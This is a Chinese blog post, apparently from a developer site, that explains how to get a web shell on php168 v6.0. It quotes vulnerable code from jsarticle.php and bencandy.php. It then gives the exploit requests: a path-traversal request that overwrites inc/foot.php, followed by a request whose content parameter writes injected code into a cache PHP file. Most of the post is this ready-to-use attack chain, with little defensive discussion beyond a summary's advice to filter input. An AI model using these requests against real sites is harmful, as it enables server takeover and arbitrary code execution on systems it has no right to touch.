php168 shell,php168 v6.0拿shell漏洞

该博客文章详细分析了两个PHP文件`jsarticle.php`和`bencandy.php`中存在的安全漏洞。通过不当的文件操作和条件判断,攻击者可以利用这些漏洞覆盖指定目录下的PHP文件内容,进而注入恶意代码。文章提到了利用方式,例如通过`do/jsarticle.php?type=like&id=xhming/../../../../inc/foot`和`do/bencandy.php?fid=4&id=582&content=cache/bencandy_cache/0/582_1.php`等请求进行攻击。建议加强文件操作的安全性,过滤输入参数,防止代码注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

两步 第一 do/下jsarticle.php文件

if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){

die("类型有误");

}

$FileName=dirname(__FILE__)."/../cache/jsarticle_cache/";

if($type==’like’){

$FileName.=floor($id/3000)."/";

}else{

unset($id);

}

$FileName.="{$type}_{$fid}_{$id}.php";

..................

if(!is_dir(dirname($FileName))){

makepath(dirname($FileName));

}

if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){

write_file($FileName,"");

//write_file上面覆盖任意php文件!因为id没过滤

}

第二 do/bencandy.php文件

require_once(dirname(__FILE__)."/"."global.php");

!$aid && $aid = intval($id);

$id = $aid;

$page<1 && $page=1;

$min=intval($page)-1;

$erp=$Fid_db[iftable][$fid]?$Fid_db[iftable][$fid]:’’;

$rsdb=$db->get_one("Select R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid Where A.aid=$aid orDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");

if(!$rsdb){

showerr("数据不存在!");

}elseif($fid!=$rsdb[fid]){

showerr("FID有误");

}

........................

$Cache_FileName=PHP168_PATH."cache/bencandy_cache/".floor($id/3000)."/{$id}_{$page}.php";

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))echo read_file($Cache_FileName);

exit;

}

..................................

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))>($webdb[bencandy_cache_time]*60)){

if(!is_dir(dirname($Cache_FileName))){

makepath(dirname($Cache_FileName));

}

$content.=" ";

write_file($Cache_FileName,$content); //注意这里写文件了

}elseif($jobs==’show’){

@unlink($Cache_FileName);

}

到这里大概问题也差不多搞清楚了,我们看下$content,其实它是作过初始化的,往上可以看到require(PHP168_PATH."inc/foot.php");这样一句,初始化就在这里,我们利用第一个问题,覆盖这文件里的内容,接下来我们就可以直接提交$content变量注入shell代码了!

利用:

do/jsarticle.php?type=like&id=xhming/../../../../inc/foot

do/bencandy.php?fid=4&id=582&content=

cache/bencandy_cache/0/582_1.php //记住id值,由于有缓存和时间的判断每一步要等会

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值